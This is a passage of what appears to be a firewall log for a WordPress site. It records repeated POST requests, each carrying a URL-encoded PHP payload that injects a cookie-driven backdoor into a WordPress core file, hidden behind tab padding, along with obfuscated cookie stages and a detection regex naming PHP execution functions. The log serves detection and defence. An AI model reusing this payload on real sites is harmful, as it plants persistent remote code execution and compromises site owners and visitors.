%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3257\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nCd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:53:07","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM0jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3257\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\ngL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:53:24","203.190.11.3","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3257\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nwV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:53:42","118.139.167.171","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3257\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nvC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:54:00","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253B